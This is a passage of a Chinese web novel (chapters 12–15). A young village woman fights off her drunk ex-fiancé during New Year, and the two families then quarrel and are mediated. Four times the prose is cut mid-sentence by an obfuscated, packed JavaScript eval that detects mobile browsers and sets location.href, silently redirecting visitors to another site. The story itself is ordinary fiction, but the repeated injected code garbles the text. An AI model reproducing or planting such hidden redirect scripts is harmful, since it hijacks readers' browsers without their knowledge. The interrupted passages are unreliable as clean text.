第 12 章 年初三，韩丽娟的堂叔一家来给她爷奶拜年，她家，她二叔家，她老叔家也在他爷奶家陪着客人，但是人太多，屋里挤得慌，她嫂子还怀着孩子，于是韩丽娟带着她嫂子，两个蛋，还有丽敏，丽彤回她家待着，等吃饭的时候，再去她爷家。 “娟子！韩丽娟！” 几个人正开开心心的聊天嗑瓜子，就听到院子里有人喊，细一听，是在喊韩丽娟的名字。 坐在炕上的韩丽娟一听，就知道这声音是范志强。 他咋来了？ 屋里热闹的氛围，突然停了，几个人你看看我，我看看你。 “嫂子，你屋里待着，看着小丽彤，千万别出去。二蛋，你去你奶家喊人过来。”韩丽娟赶紧下地，披上外衣，一边往外跑一边安排。屋里除了孕妇就是小孩，她不能让这个人进屋，她要赶紧出去拦住他。 韩丽敏见状，紧跟着韩丽娟，大蛋也下地，跟在韩丽娟身边。 “行，我看着小丽彤。”她嫂子郑玉芳知道轻重，也没硬要跟着出去。 “你来干什么？”韩丽娟几人出来，就见范志强站在她家院子中央，喝的五迷三道的，站都站不稳。 她紧紧关上屋门，眼睛在院子里四处撒摸，寻找趁手的工具。 “韩丽娟！”范志强看见韩丽娟出来，又喊了一嗓子。 “别喊了，赶紧回你小姑家吧，天怪冷的。”韩丽娟皱了皱鼻子，离着两米多远都能闻到酒味，这是喝了多少呀。 虽然撵这个人，但韩丽娟现在不想激怒他，她一个女的，论体力，她打不过他。 “我不回，我来找你！” 韩志强最近过得极其不舒服。 他爸经常因为一点小事就训他一顿，他妈闲下来就唉声叹气，他那几个嫂子，对他也是鼻子不是鼻子，眼睛不是眼睛的。 他搞不懂。 他不是第一天赌，之前他也赌，赢了钱，给他爸买酒，他爸也笑嘻嘻的喝了。给几个侄子侄女买糖块，几个嫂子可没说不让吃。 那时候他们偶尔劝一劝他，说什么玩两把就玩两把，千万别上头。可没像现在，天天盯着他，他上个厕所都得被问干啥去。搞得他一天到晚憋闷的很。 好不容易过年了，能出来散散心，大家开开心心的，结果今天刚刚来他小姑家，小姑见到他的第一句话就是，还赌不赌。 他堵他**个腿！ 第二句，就是好好的，以后有机会她去找韩丽娟爸妈说说，再把这门亲事连上。 连个屁！ 他这一切，都是因为韩丽娟退婚才变成这样的。天底下女人多的是，他才不要一个把他搞得这么惨的女人。 “韩丽娟！”他又重复一遍她的名字，“你好狠的心！” 就因为赌，她头也不回的就走，他们相处一年多了，她这个坏女人！ 她狠心？韩丽娟都要气笑了。 “范志强，不管你要说什么，等你醒酒后，我们好好聊，现在，你要做的是回去，好好休息。” 她不准备跟他对峙，没有意义。 “我没醉！”范志强大手一挥。 “你以为我来是为了缠着你，你想多了，我今天来你家，就是想告诉你，韩丽娟，你这人，坏透了。” “你为什么退婚，我问你？”他伸出手指头指着韩丽娟，又重复一遍。“韩丽娟，你这种人，你心里只有你自己。别人好的时候，你跟人好，别人不好了，你随手抛弃。你没理，你全家都没理。你以后，也找不到啥好人家，我就把话放在这。” 最开始退婚的时候，范志强是想过找韩丽娟说点好话，但是被他小姑劝住，他小姑说人家正在气头上，先把坏毛病改了，改好再说。他当时是听的，也想过改好后再来找韩丽娟，但是最近这一个多月，他被家里管的死死的，他的想法逐渐改变了，韩丽娟又不是什么仙女，为什么要为了她改变，她退婚挺好，他也不稀罕她。 “你可闭嘴吧！你才是心里没有别人只有自己，我劝过你不让你赌，不止一次，所有人都知道赌不对，你为什么还赌，你就想着你自己玩的开心，你想过你的亲人朋友们吗？范志强，我本不想跟一个喝醉的人理论，但你有些过分，我们韩家是什么样的人家，我以后找个什么人，不用你操心，我就是一辈子自己过，我也庆幸，没跟你结婚。你赶紧离开我家院子，这里不欢迎你！” 韩丽娟本不想跟范志强争辩的，但她的弟弟妹妹都在眼前，她不能成为他们坏的榜样。也不能让她的弟弟妹妹觉得姐姐在这件事上做错了，他们家欠别人的。 说话间，韩丽娟一点点挪着脚步，朝着西屋窗户根下挪，那里有一个竹扫把，是她爸扫完院子放在那边的。这人喝醉了，讲不通道理，她要做好准备。 “我不走，呵。”范志强嗤笑一声。“你撵我，就凭你，还有你身后这俩？” 他看了看一直紧张盯着他的大蛋跟韩丽敏。 脚步轻挪，朝着韩丽娟她们走来。 韩丽娟三两步跑到窗户下，举起扫把。“你站那，再往前一步，我就要打你了！” 范志强压根没把她的威胁当回事。继续走过来，韩丽娟使劲的抡起扫把，打在范志强的身上。 范志强没想到韩丽娟真的敢打他，愣住了。 反应过来，第一想法是拿手臂遮挡，躲避。 趁着这个功夫，韩丽娟赶紧又挥动扫把，将范志强打的连连后退。 但很快，范志强反应过来，他伸手拽住扫把的顶端，让韩丽娟没办法收回并继续打他。 韩丽娟使劲拽两下，没拽下来，又往前推，没推动。心道不好，但是她必须咬牙挺住。 大蛋看见他姐的扫把被范志强拽着，一个加速，直直的朝着范志超冲过去。 韩丽敏更是跑到鸡圈旁，拎起来她家赶鸡赶鹅的一根竹竿，她还保有理智，知道不能打脑袋，没朝着人脑袋和上半身去打，而是朝范志强小腿抽去。 范志强被大蛋推得一趔趄，小腿又被打了一闷棍，跳脚后退。 “大蛋，快跑开。” 见范志强又被打的后退，韩丽娟赶紧跟上，这次她扫把上下左右没规律的推，让范志强手四处乱抓，范志强又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060122|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲扫把，又要躲着木棍，一时手忙脚乱，节节败退。 “干啥呢？咋打人！” 忽然，一声高呼。来人了，但最先来到韩丽娟家的，不是韩家人，是李家人。 今天范志强几个兄弟来看她姑姑，席间，范志强出去上厕所，几分钟还没回来，家里人怕喝多了，在外面睡着，这大冷天，容易出事，出来找却没见到人，范小姑最先反应过来，会不会是去韩丽娟家了。 于是，范小姑她儿子李春水带着范志强的几个哥哥，赶紧来韩丽娟家。 紧赶慢赶，还是出事，打起来了。 李春水还好，知道韩丽娟这个小姑娘不是那种莽人，但是范志强的几个亲哥不知道呀，看见自己弟弟被三个人揍，一下子就着急起来。 他大哥喊了一嗓子之后，加入进来，伸手就把韩丽敏拽出去，韩丽敏一个没站稳，摔倒在地。 “小敏！” 韩丽娟本来见到来人，手下的力道已经放轻，这功夫看见自己妹妹被推到，眼睛都红了，她是真的生气了。 扔下扫把，捡起韩丽敏掉到地上的竹棍，不分青红皂白，朝着范志强和她大哥，一顿乱抡！ “快别打了！”李春水一看，这下坏事了。可他不敢再上前，也拉着范志强其他兄弟，韩丽娟是个女的，打他们几下就打了，他这几个兄弟万一下手没轻重，出了事，事情就更加不可收拾。“丽敏，快劝劝你姐，别出事！” 韩家院子里的动静已经惊动左邻右舍前后院。 “姐！”韩丽敏也知道，不能再打了。“姐！我没事。”韩丽敏红了眼眶。“姐，别打了。”她伸手从韩丽娟身后抱住韩丽娟。 韩丽娟停了下来。李春水长舒一口气，过去扶起范志强两兄弟。 “娟子？”这时候，韩家人也赶了过来。“这咋啦？” “叔，婶子，你们可回来了。”李春水看见赵淑芬他们，仿佛见了亲人。“这……”但他也是才来，具体为啥打起来，不知道。 “大娘，范志强来咱家说我大姐以后再也找不到人家！”大蛋简单复述了一下，他觉得什么有理没理的都不是重点，重点是范志强说他大姐不好的话，他记住了。“还把二姐推到了。” “婶子，这件事范志强做的不对，但是大过年的，你看现在这么多人看着，咱们是不是进屋商量还是咋地，别在外面拉扯。”李春水硬着头皮说。 “到底咋回事啊？”韩丽娟她奶奶腿脚慢，才走到。 走进就看见她的孙子孙女一个个都红着眼睛。 “奶，没事。”韩丽娟看见老太太焦急的神色，劝了一句。“有人耍威风，耍到咱们家来了。” “大奶，真是对不起，这大过年的，你说，他喝点酒……”李春水接着道歉，这事闹的。 “春水哥，这件事跟你没关系，让他爸妈来给我们韩家道歉。”韩丽娟打断李春水的话。“我嫁不嫁人，嫁个什么人家，轮不到范家管，还有我跟范志强退婚合理合法，我家没占范家一毛钱的便宜，吃喝嫖赌的人不是我，不讲道理去别人家耍威风的人也不是我。” 13. 第 13 章 “对对对，合理合法，娟子，你别听范志强胡说，退婚这事怪他，不怪你。”围观的人越来越多。“那啥，我先带他回去，等……”李春水想说等一会他爸妈过来解决后续。 “带啥，让他在这待着，啥时候他爸妈来，他再走！”韩丽娟她爷爷从人群中走了出来。“来我家闹一场，就这么就走？” 事情如果没闹大，为了他孙女，他们家少不得受点气，小事化了。但事情既然已经闹大，街坊四邻都出来看热闹，那就索性让大家看个够，当个乐子讲出去。 毕竟当时家里就几个孩子在，范志强一个男的来他家被打出去，他们家如果再遮遮掩掩的处理问题，到时候，不一定传出啥瞎话呢。 “那……”范志强他大哥要说那不行，“不”字的音都到嘴边了，被李春赶紧抢过去。“那行，那让他在外面站会，醒醒酒。”李春水接过话。 今天这事，咋地他家都不占理，他们范家闹一场，拍拍屁股走人，以后他们李家还要在村子里待呢，得罪街坊四邻的事，他可不干。 如今，人家不让范志强走，行也得行，不行也得行。 李春水说完，也不管范家几兄弟，他得赶紧回家，跟他爸妈把这事说了，不行还得去队长家跑一趟，来解决一下问题。 李春水走了，范志强要跟着一起溜，被韩超美跟韩立伟一手抓住。他那几个兄弟，一商量，留下一个陪他，一个跟着回了他姑家，一个要赶紧回家报信去。 “你们爷几个，把他看住。”韩丽娟她奶奶发话，让几个儿子跟大孙子在外面盯住范志强，领着剩下的孙女孙子回屋了。 屋子了，一直提心吊胆的郑玉芳终于放下心来。 “吓坏了吧，啊？”她奶她妈进屋，赶紧安慰这几个孩子和郑玉芳。 “怎么那么沉不住气，就不能拖住他，等我们来，你说你们几个，谁能打过他，万一被他伤到怎么办？”安慰过后，赵淑芬有些后怕。 “大娘，不是我们想打他，他偏要靠过来，我大姐说让他站那，他不听，一个劲的要过来。”大蛋在一旁说，他的眼睛炯炯有神，他觉得此刻的他是一个男子汉！ “妈，打都打了，他欠揍！”韩丽娟动手了，她没啥后悔的，她怕当时自己不先动手，反而会被范志强控制，到时候，下面的弟弟妹妹还有屋里的嫂子怎么办，尤其是丽敏跟大蛋，看她被欺负，一定会上手，但占了下风更容易受伤。 但她一开始可没使劲打人，她想的是把人撵出去。是因为他们把丽敏推到了，她才开始下重手的。 张淑芬张嘴，还想说点啥，想了想，硬憋了回去。“我去院子让他们生一堆火，看把人冻坏了。”开门出去。 “你们轮流有个人看着就行，他要敢跑，我今晚上就去他们村子敲锣打鼓，把他干的丑事宣扬出去。”路过范志强的时候，赵淑芬狠狠地瞪了他一眼，又对站在院子的自家人说道。 院子里已经有人过来看热闹，今天初三，好多人家里都来客人，一会晚饭后，很多人都要回去，临走前，来这看一眼才离开。 外村人看热闹。本村人尤其是跟韩家关系不错的，也都过来，看看有没有啥需要帮助的，没啥事转一圈才回去。 韩爱国已经在仓子里翻出一个铁桶，装上苞米瓤子，正拿着铁锹，准备进屋炉子里取点火种。 因着一会李家范家来人，老太太让王红梅周晓芹领着自家一堆孩子、郑玉芳还有堂侄子家的孩子去老二家，关好门窗。 又让韩建设带着她堂侄子两口子，回她家把准备好的饭菜端老二家去。要不是范志强来闹事，他们家也该吃上饭了。 这会儿怕是大人孩子都饿了。 “娟子啊，咱们不怕，没事！”周晓芹她们在这也帮不上啥忙，走之前，她跟韩丽娟说。“等过完年，你跟你老叔去街里待着。” 她也怕街坊四邻不管是真的好意，还是无意的打探，让韩丽娟一直处在风口浪尖，影响情绪。 “老婶我没事，一会我去找你。”韩丽娟其实没觉得有啥，她就是做了一个正常人该做的事情。 不就是被人讲几句，她受得住。 赵淑芬一回来，就听见她闺女没心没肺的话，没吱声。 李家人来的很快。 李老大两口子跟李老二两口子喊来队长，一起过来的，除了范志强的兄弟，家里小辈都没让过来。 是来处理问题的，不是来打架的，带那么多人，像是给人下马威似的。 “小姑……”站在院子里的范志强看到他小姑，底气不足的喊一句。 他小姑听到呼叫，扔下狗皮帽子跟棉大衣，话都没说，直接进屋。回去听了自己儿子的话，她气死了。这个外甥可是出息人了，给她丢人，未来一段时间村里妇女唠闲嗑，她外甥得是主角，她都能想到自己看见有人唠嗑，想凑过去，人家看她过去，推推胳膊，使个眼色，换话题的画面。 屋子里，韩丽娟的爷奶，父母跟老叔，还有韩丽娟，加上李家来的这几个人，队长，简单寒暄几句，就分别落座。 队长姓张，张艳霞他四叔，韩丽娟也叫一声四叔。 “韩大叔，老四，四媳妇，他爸他妈过来得一段时间，我们兄弟俩就先过来，给赔个不是。”李老二坐在那，先道歉。吃饭的时候，他大哥也在他家，出了这事，他大哥也得跟着过来，最起码，跟队长一起帮着在中间调和调和。 “娟子，别管范志强说的啥，你都当他放屁呢，别往心里去哈。”李老二她媳妇也开口。 “这事也不是你们李家的错，我们留着他也不是为了跟你们李家过不去。” 韩丽娟她爷爷，吸着烟袋锅，半响，开口。 “那……大叔，你看，这事你家想怎么解决？”李老大开口问。“只要是能做到的，你说，我们去找范家。” “按说也不应该要求你们李家啥，但是范志强这个人……”说到这，老韩头摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060123|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，未尽之意，这人不咋地。“你说这喝酒就闹事，有一次，是不是有两次，以后他但凡来你家一次，我孙女都得提心吊胆的？这次没揍坏他，下次他要再来我家闹事，真被打坏了，我们可赔不起。” “那就不让他来！”李老大都没犹豫，直接说道。 范志强他小姑闻言一愣，但是想了想，没说话。 “等一会他爸妈来了，让他爸妈和范志强给你们保证，以后他们家绝对不来找娟子麻烦。”李老大听出老韩头的意思，话里话外无外乎怕自家孙女受到伤害。 都是本村人，李老大知道，韩丽娟小时候那是在她爷奶身边长大的，五岁了她爷奶还背着她到处走呢。那年代，谁家孩子能惯成这样。因此，老韩头说的话，隐晦提的要求，全都是为韩丽娟着想。 李老大说完这些话，张老四也点头，提的要求不过分。这范志强到人家大闹一场，以后远着点应该的。 “娟子今天没吓坏吧？”张老四看坐在角落里一直没说话的韩丽娟，开口问道。 韩丽娟摇了摇头。 “咋没吓到，我们赶回来的时候，娟子眼眶通红，要不是为了弟弟妹妹，哪个小姑娘敢对付酒鬼！丽敏直接都哭了。”赵淑芬在一旁可不忍气吞声，想说啥就说啥。“这事一闹，我姑娘的被多少人在背后讲讲啊！” “要我说，我恨不得现在敲锣打鼓的去他们范家那个村子大闹一场，也让他们感受感受这滋味。” 赵淑芬真的想这么干。 今天这事这么多人看见，不出三天，都得说老韩家那闺女是个厉害人。其实她也是个厉害的人，她不觉得“厉害”这俩字是有问题的。但她是已婚妇女，泼辣一点，厉害点，外人还得赞一句，这家老娘们能当家。但没结婚的姑娘打人，传出去咋找婆家。但这话，她忍了又忍，没说出口，怕说了让她闺女更难过。 可能这就是当母亲的难处吧，孩子没动手怕自己孩子吃亏，孩子动手了，还是怕自己孩子吃亏。 “嫂子，范志强就在外面，你要打要骂我们都不拦着，你出出起，别把自己气坏了。”范志强小姑赶紧走到赵淑芬身边，拉起她的手。都是母亲，她懂。 可她不是给自己外甥开脱，事情已经发生，她们该想着怎么正向的解决问题，而不是把矛盾越搞越大。 “妈，我有点饿了，咱们先吃口饭吧。” 一旁，韩丽娟开口。 这一说，众人才想起，还没吃晚饭。 李家已经吃过，张老四也吃过。韩家人轮流去韩建设家简单吃口。 “这事整的，老六过来，都没好好吃口饭，等这边的事解决了，我家张罗一桌，大叔，到时候你跟大婶带着全家人赏脸来哈……”李老大看着这幅场景，不是滋味。 众人一边吃饭，一边等着范志强父母过来。 他们想着，等他父母来，好好认个错，再给个保证，这事就过去了。 没想到，来坨大的。 14. 第 14 章 院子里，范志强渐渐醒酒，其实他也没太醉，就是酒精上头，放纵自己胡乱闹一下，完全没想过后果，更没想到自己会被揍。 现在脑子慢慢清醒，潜意识里知道自己做错了，但是面子上过不去，不想承认自己错了。 所以，虽然冷的不行，也一句软话不说，等着他爸妈来解决。 人群来来往往，除了自己哥哥，没人搭理他。他姑姑倒是出来一趟，站在他面前，问他有没有啥想说的，看他摇头，叹口气，走了。这个村子里的人都偏心韩丽娟，都说，娟子这孩子好，出这事好好安慰安慰孩子，别吓着…… 他干啥了就吓到韩丽娟了，被揍的不是他吗？ 终于，他爸他妈来了。 “爸，妈！”他的喊声中带着哭腔，可终于把他俩盼来了！ “走，进屋。”范志强他妈走过来，拉着范志强往屋里走。 院子里的人本想跟着进屋，但屋里人太多，太挤，就留在院子接着烤火，等着事情处理完。 路上她大儿子已经将事情经过讲个大概，她儿子来韩丽娟家耍酒疯，被打了。韩丽娟说要他们两口子来道歉，韩丽娟她爷还把范志强扣下了。 范志强他妈觉得韩家小题大做。 范志强固然犯错，但是，也不用把人扣下啊。他们两口子当然知道来道歉，也不用韩家专门提出来，搞得像是他们范家不知道礼数一样，硬被逼着来的。 “韩大叔……他婶子”进来，范志强他妈先给韩家人都打个招呼。“今天这事是范志强做得不对，孩子回去我们教育，但这大冷天，让孩子在外面做站这么久，是不是有些不对？” 众人听到前两句还没觉出什么，但越听越觉得不对劲，这是奔着吵架来的？ “咋地，他做错事不能反省反省啊，就说句对不起这事儿就过去了？”老韩头语气也不是很好。 让范志强在外面站一站，吃点苦头怎么了，犯错了说两句好听的就过去？一点惩罚没有，他们韩家可不认同。 “没有没有……”范志强他爸赶紧打圆场。“就是我们急匆匆赶来，看孩子在外面都冻得直哆嗦，当妈的难免心疼。” 老儿子，大孙子，老人家的命根子。范志强因着是家里最小的儿子，他父母是最偏爱他的，也是最心疼他。 若不是因着赌没了婚事，最近也不会管他管得那么严。 “看看，这脸……” 进屋里，有了灯光，才看见，范志强的一侧脸颊被竹竿抽出一条红印。 应该是后期韩丽娟生气的时候打的。 “娟子，今天范志强来你家耍酒疯是不对，但是咱也不能动手打人啊！” 范志强他妈却仍然没有软下语气，也没有停止质问，她心疼的指着她儿子脸上那条红印。“有啥话不能好好说。” “哎妈呀，我听明白了，这不是来我家道歉的，这是来找事的吧。”赵淑芬气笑了。“我说老嫂子，你要心疼你儿子回家心疼去，现在要说的是你们家儿子来我家耍酒疯，这事你们两口子啥说法，以后能不能管住自己儿子。” “我算看出来了，这是从根上就有这毛病，喜欢上别人家耍威风来了。” 若轮耍嘴皮子，赵淑芬自认自己也不差的，就偶尔说不过自己闺女，那是因为她不稀罕跟她一样的。 “耍酒疯就该死吗？帅酒疯就能把人打成这样！”范志强他妈提高音量，冲着赵淑芬嚷嚷。 “对，就该死，就该被打！咋地！”赵淑芬也站起来，手掐着腰，喊回去。 “两位嫂子，两位嫂子，都消消气，咱们解决问题，别激化矛盾呐。”赵老四起身站到两个妇女之间，赶紧插嘴。 “有你什么事！”范志强他妈伸手一推，没推动。 “你干什么呢？”赵淑芬也没忍住动手推了范志强他妈一下，把人推得一趔趄。“你跟谁俩动手呢。” 张老四是被请来的，哪有俩家吵架打中间人的。 “咋地，就你们家动手打人有理，别人动不得手，我就动手，动手咋地……”范志强他妈反过来推赵淑芬。 “还敢跟我动手，我**你***”赵淑芬一手抓住范志强他妈来推她的胳膊，一手拽住对方的头发，范志强他妈的动作也很快，也伸手拍赵淑芬的脑袋，俩四十多岁中年妇女，为了自己儿女，厮打到一处。 “你**的”谁也不让谁。 “快快快，快把她俩拉开。”张老四冲屋里的女同志说道。 李老大李老二的媳妇都赶过来，但他俩岁数也不小，韩丽娟也伸手，院子里有妇女看见打架，也开门进来，几人一番拉扯，终于分开。 “你们家才从根上就是歪的，老的小的，就会动手。”虽然被拉开，俩人还都在气头上，手上使不上力气，嘴上仍然不饶人。范志强他妈喘着粗气，狠狠地说。 “他来我家耍酒疯怎么不能动手撵！”看赵淑芬累的喘气，韩丽娟说到。 “大人说话哪有你小孩插嘴的份儿，少教！” “我闺女我们两口子教的挺好，用不着你来管！她在自己家，愿意咋说就咋说！” 韩爱国气的拍桌子。桌子上的碗筷被震得一跳，屋子里的其他人心也被吓得一跳。韩丽娟的爷奶本来要说点啥，看这情形，没吱声。 “是你们上门来我家闹事的，是你们上门的。” 他一晚上没咋说话，孩子被欺负了，还被说那样的话，当爹的难受，但是他是大老爷们，跟李家的两兄弟关系处的也不错，邻里邻居，真的不好说啥难听的。 这事本来有轻拿轻放的机会，范家兄弟来找范志强的时候，说点好话，好好道个歉，就解决了，但范家兄弟插手，又把他小姑娘摔了。他韩家不是面做的，任人拿捏，以德报怨。“骂我大姑娘不够，还把我小姑娘摔了，咋地，就你家孩子是孩子，我家孩子不是孩子呀！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060124|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “愿意教孩子回家教你儿子去，我姑娘好着呢！”赵淑芬歇够了，又想活动活动手指。韩丽娟急忙拉住她，现在这局面，韩丽娟也没想到。难受的同时，不由又万分庆幸，自己当初果断退婚。 “她婶子，她婶子，消消气，消消气，是我们不对。”范志强他爸过来拉范志强他妈。使了眼色，老实人韩老四都拍桌子了，还有刚刚进来拉架的人还在走廊站着，这功夫低头交耳的，别闹了。 范志强他妈讪讪然，一甩胳膊，没吱声。 “大家都消停一下哈！”张老四又站出来。“李二哥，二嫂，你俩劝劝范家兄弟两口子，是想解决问题啊，还是想打架？要是想打架，那就出去，上院子两家打一场，谁被揍服了算。”他也是有脾气的，他们队里，还没人敢这么跟他动手，但对方是女人，罢了。 “队长，这哪能是为了打架来的呀，把你请来，不就是为了解决问题吗。”李老二解释道，真没想到一件小事能闹成这样。 说完，他看了范家两口子一眼，两口都没表示反对。 “那行，那我就说两句，范家哥嫂，别嫌我说话难听，下午三点左右打架，现在五点了吧，两个点，你儿子早该醒酒了，这两个点，但凡他懂点事，是不是说两句好听的，认个错？等你们来，走个过场，就把问题解决了。这两个点你儿子干啥了，傻不愣登的在院子待着，人家还得给烧个炉子。就你儿子冷，别人不也陪了俩点！” 张老四观察了一下范志强，发现范志强真的没有试图跟韩家任何人沟通一下，就在那纯等着他爸妈来。 范志强小姑有些后悔，早知道她嫂子这个态度，刚刚劝一下范志强好了，她想着让她吃点教训也好，就在外面站着吧，可……，谁能想到这走向。 唉！ “还有，今天你儿子来别人家耍酒疯被打了，你不道歉你先责怪别人，那我问你，你钱被人抢了，你去抢回来，把人抓伤了，人家让你赔钱，你觉得合理吗？” “那……”范志强他妈想说那能一样吗，看了看人群，住嘴了。 说完范家，又转过来对着韩家人说。“不管今天这事咋解决，都是韩家跟范家的事，跟李家没多大关系，都一个村住着，别影响俩家和气。大叔大婶，还有兄弟几个，这个咱们没问题是吧。” 韩家人点头。 “李家兄弟？”张老四又转向李家，想问他们还想说啥。 “韩大叔大婶……娟子，今天这事，我们也没想到，以后这种事再不会在我家发生，真是对不住了。”李家人也不知道该说些啥了，说啥呀，他们之前说的多好听，现在范家两口子做的就多恶心。 张老四又看一眼范志强，没说话。 “娟子，今天这事你放心，咱屯子谁要是敢胡说，我去他家门口堵着骂。”张老四又给韩丽娟保证。 “娟子你放心，我们都在这看着呢，错不在你。”大家也都安慰韩丽娟。 15. 第 15 章 韩丽想着今天事态的发展，如今她该给张四叔一个台阶的，不然事情没完没了，她自己可以闹，但不想让年龄大的爷爷奶奶还有父母跟着自己闹下去。而且有了这么多人看见范家的表现，她不必不依不饶的。 可如果单纯的说她不计较了，她又觉得…… 有了！那就以退为进吧。 “谢谢张四叔。今天这事麻烦四叔，我也道个歉吧，我下手是重了些。还有李大爷大娘二大爷二大娘，我当时很生气，所以才放了狠话，还让你们跟着操心来处理问题。以及谢谢大家，这么晚了还在我家帮忙。” “哎呀，麻烦啥……” “这都应该的……” “小姑娘能有多大劲……” “操心啥，都是我们该做的……” 韩丽娟话刚刚说完，张老四，李家人和大家都赶忙接话。 “但我丑话放在这，以后范志强但凡敢议论我一句，说我家不讲理，说我退婚的不是，让我知道，我还敢动手！”韩丽娟又接了一句。 她想，她放狠话让范志强爹妈来的时候，是在气头上，这件事她做的确实不完美。如果她冷静些，可能会有别的解决办法。 “是这个理。” “应该的。” “他要敢你告诉你李大爷，李大爷帮你揍。” 众人跟李家人接着附和。 这件事仿佛跟范家没关系一样，没人再看范家一眼，也没人去关注他们怎么想的。 大家都在夸赞韩丽娟真像样，然后议论最近几天家里都啥安排，年夜饭都吃的啥。 “咳……”范志强他爸咳嗽一声，没好气的对范志强说“你在这装哑巴呢？” 他脸上有些挂不住。 来的路上两口子想着就算道歉，也要让韩家知道这事不全怪他们家，如今人家韩丽娟真的道歉之后，他这老脸火烧的一样。 丢人，太丢人了！ 不管是他儿子，还是他们两口子，这脸都丢没了。 “我错了。”范志强走到韩丽娟面前，嘟嘟囔说了一句。 “你哪错了？多说点。”范志强小姑这次可不准备轻轻放下。她发现她哥嫂真不靠谱，护犊子也不是这个护法啊。这么多人看着，人家韩丽娟都表态了，范志强呢，还在那神游天外。 “我，我……”范志强支支吾吾半天。 “行了，别难为了。”老韩头手一挥，老范家这家人家，以后没啥交往的必要，太差劲。“队长，这一晚上麻烦你跑这一趟。天也晚了，我们也就要一个态度，他知道错了就得了，其他的我们也管不了。范志强，男子汉大丈夫的，以后别做这种丢人的事了。” “知道。”范志强低声的说，不知道又没人听见，可能别人也不在意他说的什么。 “今晚真是辛苦大家了。” “哎呀，没事，没事。” …… 范家两口子气冲冲的来，带着几个儿子窝窝囊囊的走了。 送走了家里的客人，一天的喧嚣才算彻底的结束。 赵淑芬朝着自己的两个孩子后背各轻轻拍了一下。“这俩傻大胆！” 说完，她又想叹气，只不过在韩丽娟面前，忍住了。 “妈，你头疼不疼？”韩丽娟在灯光下，扒拉她妈脑袋仔细看。 “疼啥，我这没啥事。”赵淑芬满不在乎。“倒是你，过完节跟你老叔老婶去街里吧，等开春就去市里。” 那个范志强，赶紧离他远点。 “嗯。”韩丽娟漫不经心的应道。 “嗯？”韩丽娟心里的小心思动了一下。 “妈！”韩丽娟停下手上的动作，歪下头看着赵淑芬。 “咋？”仔细听，能听出这个咋前半段是温柔的，后半段带着不许质疑的威严。 “妈，现在外面变化日新月异，而咱们这里，什么都感受不到，我想出去看看。”说到这里，韩丽娟的眼神充满向往。 她知道，今天她妈心很软，她不应该利用此时此刻妈妈的心软，可她太想出去了，年轻的心，总想去外面看看。 这个小村庄，甚至这个小县城，除了四季变化明显，其他的变化是缓慢，是难以察觉的。 赵淑芬看着这样的孩子，忽然想起自己的二十岁，在干嘛呢？已经有了老大了吧。 想起来了，那年她生了老大，生产队新来的知青分配到她们大队，年纪比她小一点的一个小姑娘，是个高中生，虽然农活干的不好，但是活泼，开朗。总给他们讲外面的世界，还教他们识字，她为数不多识的字，就是那时候学的。 “唉。”赵淑芬松口气，谁没年轻过呢，她也年轻过。“去吧。”就算闯不出啥名堂，出去一趟，以后也没遗憾。 “真的？！”韩丽娟不可置信，她还没开始劝她妈呢，就同意啦？ “假的！”赵淑芬忍不住又要翻白眼。 “咱妈同意啦，姐！哈哈……”韩丽敏惊呼。 “对！哈哈……”韩丽娟也高兴极了。 姐妹俩兴奋极了。 “但是……”还不待俩人高兴几秒钟，赵淑芬的但是出来了。 “赵二妮两口子我知道，那是俩攒不住钱的，还爱借钱，你跟着他俩出去，他俩没钱找你借你咋办？”赵淑芬没有卖关子，直截了当。 “妈，我也想过，羊城有些远，那天我听我老婶说，陈大有他们两口子跟她是同学，我想求一求我老婶，到我去问问，如果他们那可以，我想去滨海。” 滨海近，她听说，坐火车不到一天就到。 “滨海，那儿好嘛？”赵淑芬没听过。 “妈，现在沿海城市都很厉害，人家有地理优势……”韩丽敏毕竟读过书，知道的多，稀里哗啦说了很多。 “行行行，我听不懂那些，娟子，妈想着，若不答应，怕你有一天偷着跑了，我们不知道你在哪，你万一有点啥事，我们啥都不知道。”这孩子一心想出去，上次相亲的时候，她就知道。 与其斗的两败俱伤，不如她先退一步。“明天问问你老婶，陈大有两口子人品怎么样，行，咱就求人家带你出去。不行，就想别的出路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 